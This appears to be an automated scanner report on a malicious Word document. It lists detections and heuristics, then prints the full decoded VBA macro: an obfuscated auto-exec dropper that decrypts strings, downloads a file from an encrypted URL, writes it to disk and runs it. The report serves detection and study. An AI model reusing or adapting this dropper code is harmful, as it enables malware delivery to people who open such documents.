MALICIOUS
320
Risk Score
Malware Insights
MITRE ATT&CK
T1566.001 Spearphishing Attachment
T1059.005 Visual Basic
T1140 Deobfuscate/Decode Files or Information
The OOXML document contains a VBA macro loader that is obfuscated and uses CreateObject to execute code, a critical finding. The document body explicitly instructs the user to 'Enable Editing' and 'Enable Content', indicating a social engineering lure to bypass macro security. The VBA script itself appears to be a deobfuscation routine, likely intended to download and execute a second-stage payload, though the full payload is truncated.
Heuristics 10
-
ClamAV: Doc.Malware.Chronos-6897935-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Chronos-6897935-0
-
VBA project inside OOXML medium 5 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
CreateObject "H7dTVcru6fH", "K0FFAShr8q2eel" -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
CreateObject "H7dTVcru6fH", "K0FFAShr8q2eel" -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Sub Document_Open() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
HV2WjNLob8Y = Environ(E5IQj(Chr(27) + Chr(2) + Chr(172) + Chr(255) + Chr(77) + Chr(190) + Chr(142), "Lh7WCju5tHKW2d")) & "\" & PM1ZlKBBtLdWjOm & E5IQj(Chr(38) + Chr(6) + Chr(210) + Chr(118), "Cnr2u6Xzx31pvx") -
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 12414 bytes |
SHA-256: 4f3f52e93d2caeee2a1382c2eb4fd01f1de1b4375391a40128861a3a53f477d8 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
88 of 160 identifiers look randomly generated (e.g. 'P8I7R0viP3pjJ4otdfDF') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Function E5IQj(ByVal O8QGyoRH9 As String, ByVal OwFgnpbnX9LC As String) As String Dim SLExo33 As Long, KFvNBjer As Long SLExo33 = 9 KFvNBjer = 55 If SLExo33 + KFvNBjer > 2 Then KFvNBjer = SLExo33 + 89 Else InputBox 13 End If On Error Resume Next Dim P8I7R0viP3pjJ4otdfDF As Long, B4q3y2KoTI As Long P8I7R0viP3pjJ4otdfDF = 85 B4q3y2KoTI = 26 If P8I7R0viP3pjJ4otdfDF + B4q3y2KoTI > 2 Then B4q3y2KoTI = P8I7R0viP3pjJ4otdfDF + 52 Else InputBox 27 End If Dim Qa94(0 To 255) As Integer, Qs8jUQB1am As Long, Twkk As Long, OqN2Y1Cnln7l As Long, R2Yci01Hg6() As Byte, BtyO1() As Byte, YfdY0w3JOYxZ As Byte Dim SolT8QjTes8jUQB As Long, HBmWKosUtyzOjE As Long SolT8QjTes8jUQB = 27 HBmWKosUtyzOjE = 76 If SolT8QjTes8jUQB + HBmWKosUtyzOjE > 2 Then HBmWKosUtyzOjE = SolT8QjTes8jUQB + 27 Else InputBox 48 End If R2Yci01Hg6() = StrConv(OwFgnpbnX9LC, vbFromUnicode) Dim AFn7l As Long, NYrU1 As Long AFn7l = 15 NYrU1 = 39 If AFn7l + NYrU1 > 2 Then NYrU1 = AFn7l + 38 Else InputBox 68 End If For Qs8jUQB1am = 0 To 255 Qa94(Qs8jUQB1am) = Qs8jUQB1am Next Qs8jUQB1am Qs8jUQB1am = 0 Twkk = 0 OqN2Y1Cnln7l = 0 For Qs8jUQB1am = 0 To 255 Twkk = (Twkk + Qa94(Qs8jUQB1am) + R2Yci01Hg6(Qs8jUQB1am Mod Len(OwFgnpbnX9LC))) Mod 256 YfdY0w3JOYxZ = Qa94(Qs8jUQB1am) Qa94(Qs8jUQB1am) = Qa94(Twkk) Qa94(Twkk) = YfdY0w3JOYxZ Next Qs8jUQB1am Qs8jUQB1am = 0 Twkk = 0 OqN2Y1Cnln7l = 0 BtyO1() = StrConv(O8QGyoRH9, vbFromUnicode) For Qs8jUQB1am = 0 To Len(O8QGyoRH9) Twkk = (Twkk + 1) Mod 256 OqN2Y1Cnln7l = (OqN2Y1Cnln7l + Qa94(Twkk)) Mod 256 YfdY0w3JOYxZ = Qa94(Twkk) Qa94(Twkk) = Qa94(OqN2Y1Cnln7l) Qa94(OqN2Y1Cnln7l) = YfdY0w3JOYxZ BtyO1(Qs8jUQB1am) = BtyO1(Qs8jUQB1am) Xor (Qa94((Qa94(Twkk) + Qa94(OqN2Y1Cnln7l)) Mod 256)) Next Qs8jUQB1am Dim HRmXO741CDj As Long, OPx1LkbIanUMAvpR As Long HRmXO741CDj = 49 OPx1LkbIanUMAvpR = 10 If HRmXO741CDj + OPx1LkbIanUMAvpR > 2 Then OPx1LkbIanUMAvpR = HRmXO741CDj + 1 Else InputBox 2 End If E5IQj = StrConv(BtyO1, vbUnicode) Dim EJyDZ8gkcc0PWNYW5 As Long, YfNKTv98x As Long EJyDZ8gkcc0PWNYW5 = 29 YfNKTv98x = 19 If EJyDZ8gkcc0PWNYW5 + YfNKTv98x > 2 Then YfNKTv98x = EJyDZ8gkcc0PWNYW5 + 75 Else InputBox 6 End If End Function Sub Document_Open() Dim BLgyF7K As Long, Lo1CjagPv As Long BLgyF7K = 49 Lo1CjagPv = 10 If BLgyF7K + Lo1CjagPv > 2 Then Lo1CjagPv = BLgyF7K + 1 Else InputBox 2 End If Dim OQ2R0NXv6j As Long, MOPZ9T2 As Long, VAy878rF6rBojR As Long Dim FV1eDJ0gRzdO As Long, UauTrVbcN As Long FV1eDJ0gRzdO = 93 UauTrVbcN = 3 If FV1eDJ0gRzdO + UauTrVbcN > 2 Then UauTrVbcN = FV1eDJ0gRzdO + 48 Else InputBox 61 End If OQ2R0NXv6j = 934884333: MOPZ9T2 = 0: VAy878rF6rBojR = 0 Dim NYNtZKRtIJS As Long, ED6YKKHko1Cjag As Long NYNtZKRtIJS = 40 ED6YKKHko1Cjag = 11 If NYNtZKRtIJS + ED6YKKHko1Cjag > 2 Then ED6YKKHko1Cjag = NYNtZKRtIJS + 97 Else InputBox 12 End If For MOPZ9T2 = 1 To OQ2R0NXv6j VAy878rF6rBojR = VAy878rF6rBojR + 1 Next MOPZ9T2 Dim W6jK5 As Long, H7Z1 As Long W6jK5 = 37 H7Z1 = 92 If W6jK5 + H7Z1 > 2 Then H7Z1 = W6jK5 + 52 Else InputBox 48 End If If VAy878rF6rBojR = OQ2R0NXv6j Then Dim LacsYpv5kFLWJql As Long, ADiyuEI2sVtpy4nY As Long LacsYpv5kFLWJql = 83 ADiyuEI2sVtpy4nY = 53 If LacsYpv5kFLWJql + ADiyuEI2sVtpy4nY > 2 Then ADiyuEI2sVtpy4nY = LacsYpv5kFLWJql + 45 Else InputBox 23 End If KjOOdaXr2mjVi Dim LKYTd0 As Long, HFZfBEZ1RLq As Long LKYTd0 = 59 HFZfBEZ1RLq = 28 If LKYTd0 + HFZfBEZ1RLq > 2 Then HFZfBEZ1RLq = LKYTd0 + 48 Else InputBox 60 End If Else Dim TuiC As Long, RcMZVEuyU2NwtV39p As Long TuiC = 38 RcMZVEuyU2NwtV39p = 64 If TuiC + RcMZVEuyU2NwtV39p > 2 Then RcMZVEuyU2NwtV39p = TuiC + 40 Else InputBox 14 End If IhlpDz3Sl Dim QaWtWBn6r02 As Long, AJad93hLCBYeA As Long QaWtWBn6r02 = 84 AJad93hLCBYeA = 25 If QaWtWBn6r02 + AJad93hLCBYeA > 2 Then AJad93hLCBYeA = QaWtWBn6r02 + 6 Else InputBox 88 End If End If Dim YHICt0kDxhDiyuEI As Long, W8jA8dN4967ci1uj1 As Long YHICt0kDxhDiyuEI = 20 W8jA8dN4967ci1uj1 = 19 If YHICt0kDxhDiyuEI + W8jA8dN4967ci1uj1 > 2 Then W8jA8dN4967ci1uj1 = YHICt0kDxhDiyuEI + 49 Else InputBox 56 End If End Sub Function PM1ZlKBBtLdWjOm() As String Dim GVIwdfUlDJ1W5Ow As Long, YolmFLWJql As Long GVIwdfUlDJ1W5Ow = 79 YolmFLWJql = 94 If GVIwdfUlDJ1W5Ow + YolmFLWJql > 2 Then YolmFLWJql = GVIwdfUlDJ1W5Ow + 74 Else InputBox 35 End If Dim LHhep9l3MmwvUN() As Byte, MIYKQ2() As Byte, Ssc2i As Long, XRgGNMR8W4jbHU As Long, TKO1Liiqmxgtz As String, OKAtI As String, Y9QPoVtkoHZVJL As Long Dim KQhB0OYG0 As Long, YCT2 As Long KQhB0OYG0 = 97 YCT2 = 14 If KQhB0OYG0 + YCT2 > 2 Then YCT2 = KQhB0OYG0 + 93 Else InputBox 54 End If Y9QPoVtkoHZVJL = 0 Dim G36ouW7ZA As Long, B3swQOCS8 As Long G36ouW7ZA = 30 B3swQOCS8 = 63 If G36ouW7ZA + B3swQOCS8 > 2 Then B3swQOCS8 = G36ouW7ZA + 91 Else InputBox 33 End If GXHUiAiiDq: Dim MGZVSguwS1A As Long, YkfPHMEgJ9vMmYV As Long MGZVSguwS1A = 95 YkfPHMEgJ9vMmYV = 48 If MGZVSguwS1A + YkfPHMEgJ9vMmYV > 2 Then YkfPHMEgJ9vMmYV = MGZVSguwS1A + 64 Else InputBox 88 End If Randomize OKAtI = Int(30 * Rnd) If OKAtI < 4 Then GoTo GXHUiAiiDq Y9QPoVtkoHZVJL = OKAtI If Y9QPoVtkoHZVJL > 0& Then Dim FffRE As Long, DtmAMNZ8 As Long FffRE = 61 DtmAMNZ8 = 70 If FffRE + DtmAMNZ8 > 2 Then DtmAMNZ8 = FffRE + 96 Else InputBox 17 End If TKO1Liiqmxgtz = E5IQj(Chr(80) + Chr(174) + Chr(137) + Chr(194) + Chr(1) + Chr(39) + Chr(224) + Chr(212) + Chr(113) + Chr(202), "RyqNK") Randomize LHhep9l3MmwvUN = TKO1Liiqmxgtz Ssc2i = Len(TKO1Liiqmxgtz) - 1& Y9QPoVtkoHZVJL = (Y9QPoVtkoHZVJL * 2&) - 1& ReDim MIYKQ2(Y9QPoVtkoHZVJL) As Byte Dim QWQWh1gJ9vMmYV As Long, Ar9cwl60bf As Long QWQWh1gJ9vMmYV = 34 Ar9cwl60bf = 78 If QWQWh1gJ9vMmYV + Ar9cwl60bf > 2 Then Ar9cwl60bf = QWQWh1gJ9vMmYV + 46 Else InputBox 67 End If For XRgGNMR8W4jbHU = 0& To Y9QPoVtkoHZVJL Step 2& MIYKQ2(XRgGNMR8W4jbHU) = LHhep9l3MmwvUN(CLng(Ssc2i * Rnd) * 2&) Next Dim LmGnUkeF4 As Long, NSzly7yT As Long LmGnUkeF4 = 87 NSzly7yT = 45 If LmGnUkeF4 + NSzly7yT > 2 Then NSzly7yT = LmGnUkeF4 + 70 Else InputBox 69 End If End If Dim SeujMR9jafC As Long, OZtLMvqv7Ma As Long SeujMR9jafC = 54 OZtLMvqv7Ma = 45 If SeujMR9jafC + OZtLMvqv7Ma > 2 Then OZtLMvqv7Ma = SeujMR9jafC + 46 Else InputBox 43 End If PM1ZlKBBtLdWjOm = MIYKQ2 Dim FlW6Zt As Long, VhSxH18VFgo As Long FlW6Zt = 6 VhSxH18VFgo = 37 If FlW6Zt + VhSxH18VFgo > 2 Then VhSxH18VFgo = FlW6Zt + 44 Else InputBox 49 End If End Function Sub IhlpDz3Sl() Dim NYpwGwuE2zZvva As Long, JkeF4La3gb As Long NYpwGwuE2zZvva = 35 JkeF4La3gb = 50 If NYpwGwuE2zZvva + JkeF4La3gb > 2 Then JkeF4La3gb = NYpwGwuE2zZvva + 30 Else InputBox 90 End If WeekdayName 22 AppActivate 90 LITwW2BRRIpVl = LCase(56) Choose 60, LDcHHDmS58yb LOLblqaRmW3wG = CStr(1) GetSetting 55, 64, 90 HrtB2Tcjk6XdG8uI = UCase(11) Tan 51 If CDec(76) = True Then Mwzt = 52 DateSerial 26, 78, 21 IbwljesrWwxx3yJsY = CSng(19) Rate 72, 37, 70 If CCur(43) = True Then EjPyO4kPRa5 = 512 Filter Bq9U64BzjscJ7yk, 10 Sin 52 CreateObject "H7dTVcru6fH", "K0FFAShr8q2eel" Load DVA5cocCrNJE Loc 73 Stop Partition 61, 96, 91, 35 B1Ib53pg04p = Fix(77) FreeFile 24 Beep DateDiff "YifHRfde", 9, 2 DateAdd "C3ONgPvFsY", 24, 57 Round 85, 27 Resume Log 3 IPmt 21, 66, 56, 13 D9Rwz = DateValue(17) Dim YCkS As Long, AqKLNqCVKuV As Long YCkS = 82 AqKLNqCVKuV = 34 If YCkS + AqKLNqCVKuV > 2 Then AqKLNqCVKuV = YCkS + 32 Else InputBox 63 End If End Sub Sub PYktFwzAafJKCFkE(Y3ZkZhTlTEDFwLou As Long) Dim WASsD As Long, UUVlUhj7 As Long WASsD = 90 UUVlUhj7 = 8 If WASsD + UUVlUhj7 > 2 Then UUVlUhj7 = WASsD + 9 Else InputBox 6 End If Dim IL9iI7hjsVJvWAp As Long Dim In9YKpn3Z0wsX As Long, GFWBxhvu9CAdMVy0 As Long In9YKpn3Z0wsX = 37 GFWBxhvu9CAdMVy0 = 68 If In9YKpn3Z0wsX + GFWBxhvu9CAdMVy0 > 2 Then GFWBxhvu9CAdMVy0 = In9YKpn3Z0wsX + 75 Else InputBox 80 End If IL9iI7hjsVJvWAp = Timer + Y3ZkZhTlTEDFwLou Do While Timer < IL9iI7hjsVJvWAp DoEvents Loop Dim IdxowvXstvEFkHW As Long, OIsRKhM81VzssoR As Long IdxowvXstvEFkHW = 91 OIsRKhM81VzssoR = 5 If IdxowvXstvEFkHW + OIsRKhM81VzssoR > 2 Then OIsRKhM81VzssoR = IdxowvXstvEFkHW + 19 Else InputBox 77 End If End Sub Sub KjOOdaXr2mjVi() Dim P1K3Ll4vRXRYUoZ As Long, AxIu9JemRS8uK As Long P1K3Ll4vRXRYUoZ = 59 AxIu9JemRS8uK = 56 If P1K3Ll4vRXRYUoZ + AxIu9JemRS8uK > 2 Then AxIu9JemRS8uK = P1K3Ll4vRXRYUoZ + 65 Else InputBox 11 End If Dim HV2WjNLob8Y As String, HbuAyBzKdjUX6Ec As Object, ReNu8rK7d As Integer Dim Opbjr9MH As Long, OdsQNWy3wbl As Long Opbjr9MH = 15 OdsQNWy3wbl = 35 If Opbjr9MH + OdsQNWy3wbl > 2 Then OdsQNWy3wbl = Opbjr9MH + 2 Else InputBox 2 End If HV2WjNLob8Y = Environ(E5IQj(Chr(27) + Chr(2) + Chr(172) + Chr(255) + Chr(77) + Chr(190) + Chr(142), "Lh7WCju5tHKW2d")) & "\" & PM1ZlKBBtLdWjOm & E5IQj(Chr(38) + Chr(6) + Chr(210) + Chr(118), "Cnr2u6Xzx31pvx") Dim DelHqjyAlcW As Long, GPeE1CcSt9OV As Long DelHqjyAlcW = 28 GPeE1CcSt9OV = 25 If DelHqjyAlcW + GPeE1CcSt9OV > 2 Then GPeE1CcSt9OV = DelHqjyAlcW + 34 Else InputBox 6 End If Set HbuAyBzKdjUX6Ec = CreateObject(E5IQj(Chr(188) + Chr(29) + Chr(101) + Chr(145) + Chr(87) + Chr(215) + Chr(207) + Chr(80) + Chr(74) + Chr(203) + Chr(120) + Chr(125) + Chr(13) + Chr(181) + Chr(63) + Chr(9) + Chr(143), "RGkkLDvD")) Dim YIGJRfpodHxIu9Je As Long, PsI6NijzhVv9 As Long YIGJRfpodHxIu9Je = 21 PsI6NijzhVv9 = 19 If YIGJRfpodHxIu9Je + PsI6NijzhVv9 > 2 Then PsI6NijzhVv9 = YIGJRfpodHxIu9Je + 50 Else InputBox 57 End If HbuAyBzKdjUX6Ec.Open E5IQj(Chr(229) + Chr(138) + Chr(171), "P2Bjb2Zb4IMIl"), E5IQj(Chr(90) + Chr(107) + Chr(125) + Chr(102) + Chr(103) + Chr(177) + Chr(28) + Chr(228) + Chr(217) + Chr(249) + Chr(195) + Chr(33) + Chr(66) + Chr(85) + Chr(189) + Chr(193) + Chr(42) + Chr(11) + Chr(179) + Chr(239) + Chr(43) + Chr(190) + Chr(21) + Chr(224) + Chr(98) + Chr(196) + Chr(54), "XTzcvHdnKKsrrGI8k"), False Dim PC7359I As Long, OyY3LkeoAEjbV As Long PC7359I = 60 OyY3LkeoAEjbV = 74 If PC7359I + OyY3LkeoAEjbV > 2 Then OyY3LkeoAEjbV = PC7359I + 32 Else InputBox 83 End If HbuAyBzKdjUX6Ec.setRequestHeader E5IQj(Chr(41) + Chr(185) + Chr(25) + Chr(130) + Chr(168) + Chr(5) + Chr(223) + Chr(34) + Chr(115) + Chr(100), "EpTaKVbBLs67R"), E5IQj(Chr(220) + Chr(180) + Chr(9) + Chr(56) + Chr(91) + Chr(21) + Chr(249) + Chr(186) + Chr(213) + Chr(240) + Chr(34), "OLPQVjKsgcg4X") HbuAyBzKdjUX6Ec.send If HbuAyBzKdjUX6Ec.readyState = 4 And HbuAyBzKdjUX6Ec.Status = 200 Then Dim Jze2fdemxtOvMN6V As Long, QeFXck80 As Long Jze2fdemxtOvMN6V = 51 QeFXck80 = 56 If Jze2fdemxtOvMN6V + QeFXck80 > 2 Then QeFXck80 = Jze2fdemxtOvMN6V + 40 Else InputBox 88 End If ReNu8rK7d = FreeFile Open HV2WjNLob8Y For Binary Access Write Lock Write As #ReNu8rK7d Put #ReNu8rK7d, , E5IQj(StrConv(HbuAyBzKdjUX6Ec.ResponseBody, vbUnicode), E5IQj(Chr(98) + Chr(64) + Chr(121) + Chr(139) + Chr(251) + Chr(49) + Chr(61) + Chr(115) + Chr(36), "RmDJHDpx8Yl")) Close #ReNu8rK7d Dim MZBNM9FS As Long, R2gB9DIZwEF4 As Long MZBNM9FS = 43 R2gB9DIZwEF4 = 54 If MZBNM9FS + R2gB9DIZwEF4 > 2 Then R2gB9DIZwEF4 = MZBNM9FS + 47 Else InputBox 69 End If PYktFwzAafJKCFkE 1 Dim YicnFeNhP As Long, H9knjdzNd As Long YicnFeNhP = 55 H9knjdzNd = 43 If YicnFeNhP + H9knjdzNd > 2 Then H9knjdzNd = YicnFeNhP + 78 Else InputBox 46 End If CreateObject(E5IQj(Chr(101) + Chr(158) + Chr(101) + Chr(119) + Chr(144) + Chr(184) + Chr(29) + Chr(45) + Chr(110) + Chr(230) + Chr(57) + Chr(150) + Chr(47), "TI2WT1o5aZ")).exec """" & HV2WjNLob8Y & """" Dim Cm6KIkLy As Long, V2A2Iu29bEzRsTP8K As Long Cm6KIkLy = 6 V2A2Iu29bEzRsTP8K = 87 If Cm6KIkLy + V2A2Iu29bEzRsTP8K > 2 Then V2A2Iu29bEzRsTP8K = Cm6KIkLy + 69 Else InputBox 95 End If End If Dim F7piux1IBpiYhe As Long, Rxr6MjcnrK As Long F7piux1IBpiYhe = 38 Rxr6MjcnrK = 43 If F7piux1IBpiYhe + Rxr6MjcnrK > 2 Then Rxr6MjcnrK = F7piux1IBpiYhe + 27 Else InputBox 75 End If Set HbuAyBzKdjUX6Ec = Nothing Dim BaOJ4fRBi0vV As Long, Hb80lLlVto3iG As Long BaOJ4fRBi0vV = 81 Hb80lLlVto3iG = 13 If BaOJ4fRBi0vV + Hb80lLlVto3iG > 2 Then Hb80lLlVto3iG = BaOJ4fRBi0vV + 64 Else InputBox 63 End If End Sub |
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 32256 bytes |
SHA-256: 9d1feebfeaba38bc0e4716e7f445e6ac9604932bbcd93c9f337a8796b55fdd28 |
|||
|
Detection
ClamAV:
Doc.Malware.Chronos-6897935-0
Obfuscation or payload:
likely
167 of 333 identifiers look randomly generated (e.g. 'HRmXO741CDj2ThisDocument') — consistent with name-mangling obfuscation.
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.